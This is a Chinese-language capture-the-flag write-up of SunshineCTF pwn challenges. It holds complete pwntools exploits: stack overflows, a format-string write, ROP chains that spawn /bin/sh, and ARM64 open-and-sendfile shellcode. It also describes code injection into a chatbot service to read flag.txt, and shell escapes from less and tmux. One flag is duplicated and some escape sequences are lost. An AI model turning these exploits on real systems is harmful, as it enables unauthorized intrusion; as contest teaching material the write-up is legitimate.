# i95 这个方向都是栈 Pwn，很简单，直接 AK 了。 ## Miami ### Information - Category: Pwn - Points: 100 ### Description > Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his login terminal and get the proof we need! ### Write-up 覆盖变量值即可。 ### Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "./miami" HOST, PORT = "chal.sunshinectf.games", 25601 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"A" * 0x4C, 0x1337C0DE, ) raw_input("DEBUG") target.sendlineafter(b"Enter Dexter's password: ", payload) target.interactive() if __name__ == "__main__": main() ``` ### Flag :spoiler[`sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!} `] ## Jupiter ### Information - Category: Pwn - Points: 100 ### Description > Jupiter just announced their new Brightline junction... the ECHO TERMINAL!!! ### Write-up `dprintf(2, (const char *)buf)`，明显格式化字符串，改 `secret_key == 322420958` 即可，后两字节没问题，直接改高字节。 ### Exploit ```python #!/usr/bin/env python3 from pwn import ( ROP, args, context, flat, p64, process, raw_input, remote, ) FILE = "./jupiter" HOST, PORT = "chal.sunshinectf.games", 25607 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() secret = 0x404010 payload = flat( b"aaaaa%4914c%7$hn", p64(secret + 0x2), ) raw_input("DEBUG") target.sendlineafter(b"Enter data at your own risk: ", payload) target.interactive() if __name__ == "__main__": main() ``` ### Flag :spoiler[`sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}`] ## Canaveral ### Information - Category: Pwn - Points: 100 ### Description > NASA Mission Control needs your help... only YOU can enter the proper launch s equence!! ### Write-up 这题有点爆炸，一开始自己在 bss 上写 `/bin/sh` 字符串，远程老打不通，调试发现它会 把我写的字符串清空……后来用程序自带的 `/bin/sh` 字符串地址就打通了，目前还没搞明 白为什么自己写的不行，日后有空再研究。 ### Exploit - I ```python #!/usr/bin/env python3 from pwn import ( ROP, args, context, flat, process, raw_input, remote, ) FILE = "./canaveral" HOST, PORT = "chal.sunshinectf.games", 25603 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() read = 0x401289 system = 0x401218 payload = flat( b"A" * 0x40, elf.bss() + 0xF00, read, ) raw_input("DEBUG") target.sendlineafter("Enter the launch sequence: ", payload) payload = flat( b"A" * 0x38, next(elf.search(b"/bin/sh")), 0x404F28, system, ) target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` ### Exploit - II 下面是自己构造 `/bin/sh` 的成功版，我发现只要把自己构造的 `/bin/sh` 和调用 syste m 的 ROP Chain 写在相同的区域，libc 内部就会破坏 `/bin/sh`，那干脆试试写到别的地 方去，比如这里写入到栈中（注意栈上也会因为重叠问题，导致部分输入被破坏，不过还是 有没被破坏的地方可以用的）： ```python #!/usr/bin/env python3 from pwn import ( ROP, args, context, flat, process, raw_input, remote, ) FILE = "./canaveral" HOST, PORT = "chal.sunshinectf.games", 25603 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() read = 0x401289 system = 0x401218 payload = flat( b"A" * 0x18, b"/bin/shx00", b"A" * 0x20, elf.bss() + 0xF00, read, ) raw_input("DEBUG") target.sendlineafter("Enter the launch sequence: ", payload) target.recvuntil(b"prize: ") stack = int(target.recvline().strip(), 16) binsh = stack + 0x18 target.success(hex(stack)) payload = flat( b"A" * 0x38, binsh, 0x404F28, system, ) target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` ### Flag :spoiler[`sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}`] ## Jacksonville ### Information - Category: Pwn - Points: 100 ### Description > The Jacksonville Jaguars are having a rough season, let's cheer them on!! ### Write-up First Blood! 没难度，就是平台在开玩笑，拿到 flag 了提交上去告诉我不对……然后我疯 狂按提交按钮结果就成功了…… ### Exploit ```python #!/usr/bin/env python3 from pwn import ( ROP, args, context, flat, process, raw_input, remote, ) FILE = "./jacksonville" HOST, PORT = "chal.sunshinectf.games", 25602 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() answer = b"aaaaaaJaguarsx00" length = len(answer) payload = flat( answer, b"A" * (0x68 - length), rop.ret.address, elf.sym["win"], ) raw_input("DEBUG") target.sendlineafter(b"> ", payload) target.interactive() if __name__ == "__main__": main() ``` ### Flag :spoiler[`sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}`] ## Daytona ### Information - Category: Pwn - Points: 100 ### Description > Cops don't like it when you drive like you're in the Daytona 500 :/ ### Write-up <s>_这可是我的第一次。_</s> bro 第一次做（成） arm 架构 pwn，虽然最后还是自己提供思路，让 AI 写的 shellcode… …嗯，这次不算数～ 一开始直接 shellcraft 打 execve，结果本地通了远程不行，后来试了下换成 ORW，还是 本地可以，远程不行……最后才知道，ARM 架构的 CPU 通常有分离的数据缓存 (`D-Cache`) 和指令缓存 (`I-Cache`)，我们写入 shellcode 的而时候数据先进入 `D-Cache`，跳转到 这段代码时，CPU 还是会继续从 `I-Cache` 中读取指令。如果 CPU 流水线和 `I-Cache` 中仍然存有这段内存地址上的旧代码，它就会执行错误的代码，所以我远程打不通。本地能 通是因为 QEMU 通常会自动处理缓存同步问题。 解决方法是使用一个叫做 `Cache Invalidation Gadget` 的东西，手动刷新流水线： - `dc`：清理 `D-Cache`，将新写入的 shellcode 推送到主存 - `ic + isb`：清理 `I-Cache` 和 CPU 流水线，强制 CPU 从内存中加载新写入的 shellc ode，从而保证 shellcode 能够正确执行 得抽空去学一下其它架构的指令集了，不然真不行，这是我最近碰到的第二个 arm pwn 了 。 ### Exploit ```python #!/usr/bin/env python3 from pwn import ( args, asm, context, flat, process, raw_input, remote, shellcraft, ) FILE = "./daytona" HOST, PORT = "chal.sunshinectf.games", 25606 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: # target = process(["qemu-aarch64", "-g", "1234", FILE]) target = process(["qemu-aarch64", FILE]) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"The cops said I was going ") stack = int(target.recvuntil(b" ").strip(), 10) + 117 target.success(f"stack: {hex(stack)}") # shellcode = asm(shellcraft.execve("/bin/sh", 0, 0)) # shellcode = shellcraft.open("flag.txt", 0, 0) # shellcode += shellcraft.sendfile(1, "x0", 0, 0x1000) shellcode = asm(""" // cache invalidation gadget adr x9, orw dc cvau, x9 add x10, x9, #0x40 dc cvau, x10 dsb ish ic ivau, x9 ic ivau, x10 dsb ish isb orw: // openat(dfd=AT_FDCWD, filename="flag.txt", flags=0, mode=0) // AT_FDCWD = 0xFFFFFFFFFFFFFF9C (-100) mov x0, #-100 adr x1, filename mov x2, #0 mov x3, #0 mov x8, #56 svc #0 // sendfile(out_fd=1, in_fd=X0, offset=0, count=0x1000) mov x1, x0 mov x0, #1 mov x2, #0 mov x3, #0x100 mov x8, #71 svc #0 filename: .ascii "flag.txt\x00" """) length = len(shellcode) target.warn(f"shellcode length: {hex(length)}") payload = flat( b"A" * 0x48, stack + 0x48 + 0x8, shellcode, ) raw_input("DEBUG") target.sendlineafter(b"What do I tell them??", payload) target.interactive() if __name__ == "__main__": main() ``` ### Exploit :spoiler[`sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}`] # Pwn 这个方向真的是 Pwn 吗，怎么题目都那么奇怪？？ `HAL9000` 是一道贼恶心的 mov obfuscated 的题，`demovfuscator` 了以后和原先也区别 不大，还是一堆 `mov` 指令，坐牢啊…… `Space Is Less Than Ideal` 和 `Space Is My Banner` 感觉这两道更像 Misc，与 Pwn 一点关系都没有…… `AstroJIT AI` 是代码审计吧，也和 Pwn 没关系啊…… 唯一一个 heap 我还因为没怎么学过堆，做不来…… `Clone Army` 没细看，后面有空复现吧。 ## AstroJIT AI ### Information - Category: Pwn - Points: 500 ### Description > AstroJIT AI, your new general-purpose chatbot for the future! ### Write-up 测试格式化字符串，报错：
问 AI，可以注入代码，直接用 `{ int.Parse(System.IO.File.ReadAllText("flag.txt")) , 0, 0 }`，由于 flag 内容不是整数，报错信息直接把 flag 输出了。 ```csharp showLineNumbers=false Weights: { int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 } { int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 } MethodInvocationException: /app/evil_corp_ai.ps1:424 Line | 424 | $weights = [Two.Second.Scholars.Mass.And.Partialities.Wei … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Exception calling "CalculatePrecompiledWeights" with "0" argument(s): | "The input string | 'sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-bu rnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money} ' was not in a correct format." ``` ### Flag :spoiler[`sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get- burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money} `] ## Space Is Less Than Ideal ### Information - Category: Pwn - Points: 500 ### Description > I think i did a thing. > I may have accessed a satellite. > I can access the logs anyhow. I can't seem to access anything else. > I know I've seen that type of log viewer before, but something seems... differ ent... about it. > Well you know the expression. Less is more! ### Write-up `less` 逃逸，调教 AI 就好了。先输入 `ma` 设置 mark，然后输入 `|a` 就可以执行指令 。`ls` 发现有 `cat-flag`，重复上面的步骤调用这个程序就好了。 另外，刚开始测试 `!command` 发现没有用，但是可以看到后台指令执行结果，所以要看结 果的时候可以通过这个方式查看。 ### Flag :spoiler[`sun{less-is-more-no-really-it-is-just-a-symbolic-link}`] ## Space Is My Banner ### Information - Category: Pwn - Points: 500 ### Description > I did it again. > This time I'm sure I accessed a satellite. > I'm scared, it's giving me a warning message when I log in. > I think this time I may have gone too far... this seems to be some top securit y stuff... ### Write-up 这次是 tmux 逃逸，在 Security Prompt 中按 `Ctrl-B` 然后输入 `:` 就可以输入一些内 置 tmux 指令了，直接用核武 `:run-shell "ls -al"` 然后 `:run-shell "./cat-flag"` 。 ### Flag :spoiler[`sun{wait-wait-wait-you-cannot-hack-me-you-agreed-to-not-do-that-that-i s-not}`]